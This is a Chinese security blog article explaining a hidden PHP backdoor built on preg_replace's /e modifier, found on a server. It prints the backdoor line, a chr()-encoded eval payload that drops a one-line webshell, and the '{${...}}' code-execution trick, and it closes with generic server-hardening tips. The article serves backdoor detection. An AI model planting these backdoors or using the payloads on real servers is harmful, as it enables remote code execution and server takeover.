利用preg_replace隐藏后门原理是什么

学习啦  加城   2018-09-27 14:41:14

  在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码,利用各种查找后门的工具都没有发现php木马。怎么回事呢?有可能是某人利用preg_replace隐藏后门,感兴趣的朋友下面一起看看!

  方法步骤

  通过分析发现,小黑的访问的文件发现代码:

  @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

  如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。

  preg_replace函数原型:

  mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

  特别说明:

  /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

  上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。

  举例:

  echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);

  如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

  如果我们要POST的话,我们测试提交下面的代码会怎么样呢?

  h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

  密文对应的明文是:

  fputs(fopen(data/a.php,w),);

  执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

  这个就恐怖了吧。。。。

  再来一个有难度的例子:

  复制代码代码如下:

  function test($str)

  {

  }

  echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);

  ?>

  提交 ?h=phpinfo() ,phpinfo()会被执行吗?

  肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。

  有没有办法让它执行呢?

  当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?

  在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

  注意:双引号中的函数不会被执行和替换。

  在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。

  可以先做如下测试:

  echo “{${phpinfo()}}”; phpinfo会被成功执行了。

  所以,各位查找后门的时候注意查找下。

  OK,说了那么多,也了解了,以上我给的代码:

  @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

  看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助

  补充:校园网安全维护技巧

  校园网络分为内网和外网,就是说他们可以上学校的内网也可以同时上互联网,大学的学生平时要玩游戏购物,学校本身有自己的服务器需要维护;

  在大环境下,首先在校园网之间及其互联网接入处,需要设置防火墙设备,防止外部攻击,并且要经常更新抵御外来攻击;

  由于要保护校园网所有用户的安全,我们要安全加固,除了防火墙还要增加如ips,ids等防病毒入侵检测设备对外部数据进行分析检测,确保校园网的安全;

  外面做好防护措施,内部同样要做好防护措施,因为有的学生电脑可能带回家或者在外面感染,所以内部核心交换机上要设置vlan隔离,旁挂安全设备对端口进行检测防护;

  内网可能有ddos攻击或者arp病毒等传播,所以我们要对服务器或者电脑安装杀毒软件,特别是学校服务器系统等,安全正版安全软件,保护重要电脑的安全;

  对服务器本身我们要安全server版系统,经常修复漏洞及更新安全软件,普通电脑一般都是拨号上网,如果有异常上层设备监测一般不影响其他电脑。做好安全防范措施,未雨绸缪。

  相关阅读:提高服务器安全性的技巧

  1.经常更改系统管理员密码。---->且密码最好是大小写都有

  2.定期更新系统补丁。---->开启自动更新,并设定到晚上重启。

  3.检查系统是否多出超级管理员,检查是否有帐号被克隆在“开始”>运行中输入“cmd”>在输入 net localgroup administrators

  4.在“开始”>运行中输入“msconfig”检查随机启动的程序和服务,关掉不必要的随机启动程序和服务。

  5.服务器上的所有程序尽量安装程序的最新稳定版。

  6.检查SERVU是否被创建有执行权限的用户或者对C盘有读写权限的用户,并且给SERVU设置一个登录密码。如果需要请给serv_u设置独立启动账户。

  7.不要随意安装任何的第三方软件。例如XX优化软件,XX插件之类的,更不要在服务器上注册未知的组件。

  8.不要随意在服务器上使用IE访问任何网站,杜绝隐患那是必须的。

  9. 检查系统日志的“安全性”条目,在右侧查看近期“审核成功”的登录

  10.不要在服务器上双击运行任何程序,不然怎么中了木马都不知道。

  11.不要在服务器上用IE打开用户的硬盘中的网页,这是危险的行为。

  12.不要在服务器上浏览图片,以前windows就出过GDI 的安全漏洞。

  13.及时的更新病毒库,查杀病毒。

  14.定时的查看系统各个盘符的磁盘权限,是否为设定的安全权限。

  15.确保你自己的电脑安全,如果自己的电脑不安全,服务器也可能不太安全。


后门攻击相关文章:

1.计算机病毒简介及预防

2.常见的WEB攻击以及解决方法

3.电脑后门病毒

4.详解TP-LINK路由器漏洞可远程窃取隐私

5.如何预防和抵制黑客入侵

【猜您感兴趣】
【利用preg_replace隐藏后门原】相关文章
【系统安全】图文精华
上一篇:Linux系统用netstat命令查看DDOS攻击方法是什么
下一篇:PHP场景中getshell防御思路是什么